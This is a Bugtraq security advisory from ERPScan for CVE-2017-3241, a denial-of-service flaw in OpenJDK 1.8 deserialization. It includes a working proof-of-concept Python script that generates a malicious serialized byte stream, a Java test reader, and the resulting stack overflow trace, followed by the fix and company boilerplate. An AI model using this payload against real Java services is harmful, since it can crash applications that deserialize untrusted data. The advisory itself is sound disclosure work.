Message-ID: <CANHWe93HwCQVn+rmDt4nEVT2g+rTj7F6-HDYz9FXxMtLgVZMww@mail.gmail.com>
Date: Tue, 24 Jan 2017 12:14:10 +0300
From: ERPScan inc <erpscan.online@...il.com>
To: bugtraq@...urityfocus.com
Subject: CVE-2017-3241 - [ERPSCAN-17-006] Oracle OpenJDK - Java Serialization DoS

Application: Java SE

Vendor: Oracle

Bug: DoS

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

Reference: Oracle CPU Jan 2017

Author: Roman Shalymov



1. ADVISORY INFORMATION

Title: Oracle OpenJDK - Java Serialization DoS

Advisory ID: [ERPSCAN-17-006]

Risk: High

Advisory URL: https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/

Date published: 17.01.2017

Vendor contacted: Oracle


2. VULNERABILITY INFORMATION


Class: Denial of Service

Remotely Exploitable: Yes

Locally Exploitable: Yes

CVE Name: CVE-2017-3241

CVSS Base Score: 9.0


3. VULNERABILITY DESCRIPTION


An attacker can cause DoS of the application which uses OpenJDK
Runtime Environment 1.8 as its core runtime engine.


4. VULNERABLE PACKAGES


OpenJDK Runtime Environment build 1.8.0_112-b15


5. SOLUTIONS AND WORKAROUNDS


Fix ObjectInputStream.skipCustomData() method, namely
readObject0(false); call in switch statement

Adress Oracle CPU January 2017

 6. AUTHOR


Roman Shalymov (@shalymov)


7. TECHNICAL DESCRIPTION


An attacker can craft a malicious sequence of bytes that will cause
JVM StackOverflowError in the standard Java deserialization process if
it uses ObjectInputStream.readObject() method.



7.1. Proof of Concept



An attacker creates a malicious sequence of bytes, for example, using
this python script pwn_ser.py:



#!/usr/bin/env python2



import sys



exp = ""

#serialization header

exp += '\xac\xed\x00\x05'



exp1 = ''

exp1 += '\x72'

exp1 += '\x00\x0c'+'java.io.File'

exp1 += '\x41'*8

exp1 += '\x00'

exp1 += '\x00\x00'



exp += exp1 * 10000



sys.stdout.write(exp)



and save it in exp2.ser file



$ ./pwn_ser2.py > exp2.ser



Let's simulate deserialization process. For this purpose, we create a
simple Java program, which uses the following standard deserialization
pattern:



Serialize_read.java



import java.io.FileInputStream;

import java.io.ObjectInputStream;



public class Serialize_read {



public static void main(String args[]) throws Exception {



  if(args.length < 1) {

      System.out.println("usage:
"+Serialize_read.class.getSimpleName()+" [file]");

      System.exit(-1);

  }



  FileInputStream fin = new FileInputStream(args[0]);

  ObjectInputStream oin = new ObjectInputStream(fin);



  try {

    Object objFromDisk = oin.readObject();

    String s = (String)objFromDisk;

    System.out.println(s);

    System.out.println("Successfully read!");

  }catch(Exception e){}

  System.exit(0);



}



}



Let's try to read our malicious file (we can also simulate this stuff
over network communication):



$ javac Serialize_read.java

$ java Serialize_read exp2.ser



It causes the following error dump:



Exception in thread "main" java.lang.StackOverflowError

at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)

at java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)

at java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)

at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)

at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)

at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)



...

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)

at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)



8. REPORT TIMELINE

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

9. REFERENCES
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/


10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized info-sec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP
Solution providers” and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We ‘follow the sun’ and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.




Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

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